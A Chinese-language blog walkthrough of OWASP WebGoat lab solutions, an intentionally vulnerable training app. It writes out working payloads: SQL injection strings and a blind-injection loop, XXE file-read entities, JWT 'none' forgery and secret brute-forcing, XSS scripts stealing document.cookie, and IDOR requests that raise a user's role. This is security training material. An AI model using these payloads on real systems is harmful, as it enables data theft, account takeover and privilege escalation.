[IS] WebGoat 參考解答 Solution
此篇筆記除自己實作外,另外也參考:
- 來玩 webgoat - 資安補漏洞,越補越大洞 @ iThome
- Klarsen.NET: OWASP
- WEB 安全攻防靶場之 WEBGOAT @ 鮮鮮實驗室
本篇更新時間: 2019-04-29
General
HTTP Basics
Q2
輸入你的名字即可:
Q3
在 HTML 中可以找到此頁使用的 HTTP method 和 magic number:
HTTP Proxies
Q6
使用 OWASP 開啟 Chrome 瀏覽器後(設定方式請參考[WebGoat 學習筆記](/Users/pjchen/Projects/Notes/source/_posts/Internet-MIS-IS/[IS] WebGoat 學習筆記.md)),按下送出攔截從 HTTP 送出的請求,然後進行竄改:
操作影片:
<iframe width="570" height="315" src="https://www.youtube.com/embed/-9XgCSZZrdw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Injection Flaws
SQL Injection
Q7
輸入 1' OR '1' = '1
即可:
Q8
輸入 101 OR true
即可:
SQL Injection (Advanced)
Q3-1
輸入 ' or 1=1 —
即可:
Q3-2
使用 union
把他和另一個 table 的資料合併出來顯示。
在 name 的 input 中輸入:
' UNION SELECT userid, user_name, password, 'number', 'type', cookie, 0 FROM user_system_data --
即可看到 dave 的密碼
Q5 未解
SQL Injection (mitigation)
Q8
點選「排序」按鈕時,在 Network panel 會發現向後端打了一道 API
http://localhost:8080/WebGoat/SqlInjection/servers?column=ip
ip
的地方會帶到後端 SQL 中的 ORDER BY
,我們可以透過 ORDER BY 的順序來猜測 IP:
substring(ip,1,1)
指的是 ip 欄位的從第一位數開始取一位的值- 如果猜中了該 ip 的數字,則會以
id
排序,否則會以ip
排序
// 檢查第一碼的 ip 是否等於 1
fetch(`http://localhost:8080/WebGoat/SqlInjection/servers
?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${1}) then id else ip end)`)
.then((response) => response.json())
.then((result) => console.log(`result - ${1}`, result));
可以使用迴圈的方式一次測試出某一位數的 IP 值:
// 以下程式會檢查 ip 的第一碼多少
Array.from({ length: 10 }, (_, k) => k).forEach((item) => {
fetch(
`http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${item}) then id else ip end)`,
)
.then((response) => response.json())
.then((result) => console.log(`result - ${item}`, result));
});
參考影片
<iframe width="ˊ629" height="315" src="https://www.youtube.com/embed/iaadW6OoP9U" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
XXE
Q3
利用 OWASP 攔截送出的請求,並改成:
<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>
Q4
一樣利用 OWASP 攔截送出的請求,先將 Content-Type
改成 application/xml
,在 body 的部分一樣改成:
<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>
即可:
Q7(未解)
Authentication Flaws
Authentication Bypasses
Q2
一樣透過 OWASP 攔截送出去的請求,並修改 secQuestion0
和 secQuestion1
的欄位名稱:
JWT Token
Q4
利用 OWASP 攔截伺服器回來的回應,並將 access_token
中:
HEADER
改成{"alg": "none"}
PAYLOAD
中的admin
改成true
- 把
signature
的部分拿掉
<iframe width="560" height="315" src="https://www.youtube.com/embed/u8PLKwl4xbw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Q5
利用 Hint 中提供的 google 10000 個英文單字 進行暴力破解(brute-force attack),在這裡我們使用 JS 搭配套件 jsonwebtoken 進行暴力破解:
const commonWords = require('./google-10000-english.json');
const jwt = require('jsonwebtoken');
const token =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM';
// 如果 secret 正確則會直接透過 console.log 顯示,否則進入 catch 不做事
commonWords.forEach((word) => {
try {
var decoded = jwt.verify(token, word);
console.log('valid secret: ', word);
} catch (error) {
// console.log('invalid', word);
}
});
結果顯示 JWT 的 secret key 為 victory
:
取得 secret key 後,把原本的 JWT Token 貼到 jwt.io 後可以看到 payload,將 username
改成 WebGoat
後複製新的 Token 使用即可:
Q7
在 WebGoat 的程式原始碼中,可以看到有一組寫死的帳號密碼在內:
可以直接在 WebGoat 的 Github 專案內搜尋
JWT/refresh
即可找到該檔案。
{
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4'
}
接著利用這組帳號密碼去執行登入:
// 取得 Jerry 的 refresh_token
fetch('http://localhost:8080/WebGoat/JWT/refresh/login', {
headers: {
'Content-Type': 'application/json; charset=UTF-8',
},
body: JSON.stringify({
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4',
}),
method: 'POST',
})
.then((response) => response.json())
.then((result) => console.log('result', result));
伺服器會回應一組帶有 access_token
和 refresh_token
的物件:
{
"access_token": "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
"refresh_token": "BByHeYWGAPOzYpZAEmcm"
}
在 Logfile 中會看到一組 Tom 過期的 Token:
現在有 Tom 的 access_token 和 Jerry 的 refresh_token 後,Hint 中有提供 refresh token 的 endpoint 'jwt/refresh/newToken'
,因此可以使用它來更新 Tom 的 access_token:
// 使用 Tom 的 access_token 和 Jerry 的 refresh_token 來更新 Tom 的 access_token
fetch('http://localhost:8080/WebGoat/JWT/refresh/newToken', {
headers: {
'Content-Type': 'application/json; charset=UTF-8',
// Tom 的 access_token
Authorization:
'Bearer eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q',
},
body: JSON.stringify({
// Jerry 的 refresh_token
refresh_token: 'BByHeYWGAPOzYpZAEmcm',
}),
method: 'POST',
})
.then((response) => response.json())
.then((result) => console.log('result', result));
送出請求後即可得到 Tom 新的 access_token
和 refresh_token
:
// Tom 新的 access_token 和 refresh_token
{
"access_token": "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg",
"refresh_token": "XYPYvWGFJQbGPvPMPXfZ"
}
接著利用 OWASP 在送出 checkout 的請求時,在 request headers
中加入 Tom 的 access_token:
即可完成。
Q8 未解
Password reset(未解)
Cross-Site Scripting(XSS)
參考:OWASP WEBGOAT XSS LESSONS @ klarsen.net
Cross Site Scripting
Q2
直接在網址列輸入 javascript:alert(document.cookie);
即可:
如果用複製貼上的話,瀏覽器可能會自動把
javascript:
的文字給過濾掉,需要自己補上。
答案是 Yes
。
Q7
在 credit card number 的欄位內貼上 <script>alert('my javascript here')</script>
後按下送出即可:
Q10
在 GoatRouter.js 這支檔案中可以看到原始碼,裡面可以看到定義好的路由:
// src/main/resources/static/js/goatApp/view/GoatRouter.js
routes: {
'welcome': 'welcomeRoute',
'lesson/:name': 'lessonRoute',
'lesson/:name/:pageNum': 'lessonPageRoute',
'test/:param': 'testRoute',
'reportCard': 'reportCard'
},
其中可以讓我們帶入參數的路由包含 lesson/:name
, lesson/:name/:pageNum
, test/:param
,往下看到 testRouter
的地方可以看到它會把傳入的參數放到 lessonController.testHandler
中:
// src/main/resources/static/js/goatApp/view/GoatRouter.js
testRoute: function (param) {
this.lessonController.testHandler(param);
//this.menuController.updateMenu(name);
},
於是切換到 LessonController.js 這支檔案,搜尋 testHandler
,可以看到傳入的參數會再被丟到 lessonContentView
:
// src/main/resources/static/js/goatApp/controller/LessonController.js
this.testHandler = function (param) {
console.log('test handler');
this.lessonContentView.showTestParam(param);
};
因此可以在切換到 LessonContentView.js 這隻檔案,搜尋 showTestParam
可以看到:
// src/main/resources/static/js/goatApp/view/LessonContentView.js
/* for testing */
showTestParam: function (param) {
this.$el.find('.lesson-content').html('test:' + param);
}
從這裡可以看到它會把所有從 url 中取得的 param
利用 $().html()
的方式在網頁中「顯示/執行」。
答案:start.mvc#test/
。
Q11
承 Q10,在網址的地方輸入 http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<%2Fscript>
,即可在 console 視窗中看到答案。
留意在
</script>
中的/
記得要用 encodeURI 先處理過。
Q13
在新增留言的地方輸入:
<script>
webgoat.customjs.phoneHome();
</script>
即可在 console 面版中看到答案。
Access Control Flow
Insecure Direct Object References
Q2
照著指示,user 輸入 TOM
,pass 輸入 red
即可。
Q3
按下 View Profile
的按鈕,並在 Network Panel 中看得到的回應,即可看到有差別的地方:
答案輸入:role,userId
Q4
從上一題得到的訊息中,可以看到 userId
:
{
"role": 3,
"color": "yellow",
"size": "small",
"name": "Tom Cat",
"userId": "2342384"
}
因此在答案中填入 WebGoat/IDOR/profile/2342384
即可。
Q5
從網址列中試試看可以看到哪個使用者的資料,從原本 Tom 的 userId 往後加,會發現 userId 為 24288
是有用的:
http://localhost:8080/WebGoat/IDOR/profile/2342388
可以從中看到使用者 Buffalo Bill 的資訊:
{
role: 3,
color: 'brown',
size: 'large',
name: 'Buffalo Bill',
userId: 2342388
}
- 由 RestFul API 的架構可知,如果要更新使用者資料,需要使用
PUT
方法; - 此外,需要修改
role
內容的值,從 3 改成 1,給該使用者更高的權限
如此可以這樣發出請求來修改使用者的資料:
fetch('http://localhost:8080/WebGoat/IDOR/profile/2342388', {
method: 'PUT',
headers: {
'content-type': 'application/json; charset=UTF-8',
},
body: JSON.stringify({
color: 'red',
role: 1,
size: 'large',
name: 'Buffalo Bill',
userId: 2342388,
}),
}).then((response) => response.json());
Missing Function Level Access Control
Q2
從開發者工具的 Elements Panel 中可以看到有隱藏的元素 .hidden-menu-item
仔細打開來看,會看到在 Admin 的 menu-header 中又藏了 Users 和 Config:
答案即是 Users
和 Config
。
Q3
從上一題中可以拿到檢視 Users 的連結是 /users
,若直接將網址貼在網址列中,可以看到回傳目前有一個使用者的畫面。在提示(Hint)中告訴我們可以使用不同的 Content-Type
來試著打打看這道路由,於是:
fetch('http://localhost:8080/WebGoat/users/', {
headers: {
'content-type': 'application/json; charset=UTF-8',
},
}).then((response) => response.json());
如此,便會回傳 userHash
回來:
{
username: "foobar",
admin: false,
userHash: "geBkYlCYL/bnMdYLiEhtzVQ9nGFm/5EK8X/JyHE2+FA="
}
Insecure Communication
Insecure Login
Q2
當按下畫面上的 login 時,從 network panel 可以看到送出了 username
和 password
這兩個欄位:
把這兩個欄位填入下面的 input 中送出即可。
Insecure Deserialization(未解)
Request Forgeries
Cross-site Request Forgeries
Q3
按下「提交」後,會另外開啟一個網頁:
將網址中的 csrf
改成 true
即可:
http://localhost:8080/WebGoat/csrf/basic-get-flag?csrf=true&submit=%E6%8F%90%E4%BA%A4
Q4
利用 OWASP 攔截請求,修改 Origin
和 Referrer
假裝是不同來源的即可:
Q7
先根據說明填寫表單:
接著利用 OWASP 攔截送出的請求,將 Origin
和 Referrer
修改成其他來源,然後 Content-Type
根據提示改成 text/plain
後再送出:
成功後即可拿到 flag
貼上即可:
Congratulations you have found the correct solution, the flag is: c5c27a69-91e5-46dd-aff9-dcaf909adb0d
Q8
另外一開個新視窗,建立一組新帳號,帳號名稱前綴多 csrf-
,進入題目頁,按下送出。
Vulnerable Components(未解)
Client Side
Bypass front-end restrictions
Q2
利用開發者工具的 element panel 做如下修改:
<!-- select: 修改 value 的值 -->
<select name="select">
<option value="option3">Option 1</option>
<option value="option2">Option 2</option>
</select>
<!-- radio: 修改 value 的值 -->
<input type="radio" name="radio" value="option3" checked="checked" />
<!-- checkbox: 新增 value -->
<input type="checkbox" name="checkbox" checked="checked" value="foo" />
<!-- input: 修改 maxlength -->
<input type="text" value="12345678" name="shortInput" maxlength="10" />
按下送 出即可。
Q3
從 Elements panel 中可以看到,送出表單時會透過 validate()
這個方法進行表單驗證,如果驗證成功則回傳 true
:
從 console panel 該寫 validate()
這個方法,改成不管怎麼樣都回傳 true:
// 在 console panel 中輸入
validate = () => true;
接著在表單中填入不符合規則的內容,按下送出。
Client side filtering
Q2
直接在 Elements Panel 中搜尋關鍵字 Neville
就可以找到隱藏的資料,salary 即為 450000
:
Q3
進到 WebGoat 的 github 專案搜尋 checkoutCode
,找到檔案 /src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java
這隻檔案中會標註特殊折扣碼是什麼:
將此特殊折扣碼 get_it_for_free
貼上即可完成。
HTML tampering
Q2
在 Elements Panel 中搜尋 input
,找到對應 Total
的欄位,將價格改成你想要的價格後送出即可: